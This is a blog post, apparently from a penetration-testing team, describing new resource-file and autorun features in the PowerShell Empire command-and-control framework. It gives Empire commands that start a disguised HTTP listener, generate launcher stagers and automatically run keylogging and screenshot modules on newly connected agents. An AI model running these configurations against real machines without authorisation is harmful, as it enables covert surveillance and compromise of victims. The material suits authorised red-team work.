Carrie Roberts* //
I have added resource file and autorun functionality to PowerShell Empire. Empire now has the ability to run multiple commands at once by specifying the commands in a resource file. You can use this feature to automate the startup of your listeners and perform other tasks. In addition, you can specify multiple commands to run automatically on any new agents that connect using the new autorun feature. The code for both of these features was merged into the Empire dev branch on October 18, 2017. It will make its way into the next Empire release but until then you’ll need to check out the Empire dev branch to play with it.
Consider the following resource file containing the Empire commands used to startup our go-to listener named http443 on port 443. In this example, the file is called http443.rc and is located in the root directory.
listeners uselistener http set Name http443 set DefaultProfile /admin/login.php,/console/dashboard.asp,/news/today.jsp| Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0); set Host 192.168.0.124 set Port 443 execute
To run all these commands at once within Empire simply use the newly added “resource” command as shown below.
Wow, that was easy, one command and everything is started with our custom settings!
Here is another example resource file to generate the OS X and Windows launch commands for our new listener.
listeners usestager osx/launcher set Listener http443 execute back usestager multi/launcher set Listener http443 execute
The image above shows the output from running the launchers.rc resource file. The beginning of the Python launcher is shown at the bottom (echo “import sys . . .). The Powershell one-liner was also output but not shown in the image for brevity.
Now let’s have a look at the “autorun” command that I added to the agent’s menu. With the autorun command, you can specify a resource file to execute automatically when a new agent connects to your listener. When you set the autorun, you specify which agent language the commands should be run on (e.g. Python or PowerShell). Consider that we have the following in the resource file /root/autorun-py.rc:
usemodule trollsploit/osx/say set Text Supercalifragilisticexpialidocious execute
This file is intended to execute on a Python agent (OS X) and to speak the text “Supercalifragilisticexpialidocious” using the computer text-to-speech functionality.
Next, we have a resource file specifying three modules to run on any PowerShell agents that connect (/root/autorun-ps.rc):
usemodule collection/keylogger execute back usemodule collection/screenshot execute back usemodule trollsploit/voicetroll set VoiceText Booya execute
The resource file above contains commands to start keylogging, take a screenshot, and say the text “Booya”. The following commands will set the autorun for any Python and PowerShell agents.
To see what commands have been set for each language, use the “autorun show” command, optionally specifying the language.
Okay, now we have told Empire to execute the autorun-py commands automatically whenever a new Python agent connects and run the autorun-ps commands whenever a new PowerShell agent connects. To clear the autorun setting, use the “autorun clear” command. The first command below clears only the Python autorun commands, while the second command clears autorun commands for all languages.
We have demonstrated a lot of cool things, but let’s roll all this functionality up into a single resource file that does it all (/root/doitall.rc):
# Start my port 80 http listener resource /root/http80.rc # Start my port 443 http listener resource /root/http443.rc # set my autorun scripts resource /root/autoruns.rc # return to the main menu main
This resource file calls other resource files such as the http443.rc file demonstrated at the beginning of this post. It also starts up a similar listener on port 80 and sets our autoruns using the autoruns.rc file shown below.
agents autorun /root/autorun-py.rc python autorun /root/autorun-ps.rc powershell
Note that in the doitall.rc file, descriptive comments are included. Any line that starts with # is considered a comment and ignored by Empire.
We could run our doitall.rc file from within Empire using the resource command, or we can specify it on the command line when starting Empire with the “–resource” parameter.
Awesome, we started up listeners with custom settings and set our autoruns all with a single command! Very nice! Here is a video walkthrough of everything discussed in this post.
To use this new feature, grab the Empire code from https://github.com/EmpireProject/Empire. Until these features are merged into a release or the Master branch you’ll have to check out the dev branch to use these features. I hope you enjoy this new functionality as much as I do, it definitely removes a large pain point when using Empire and makes way for a high degree of automation.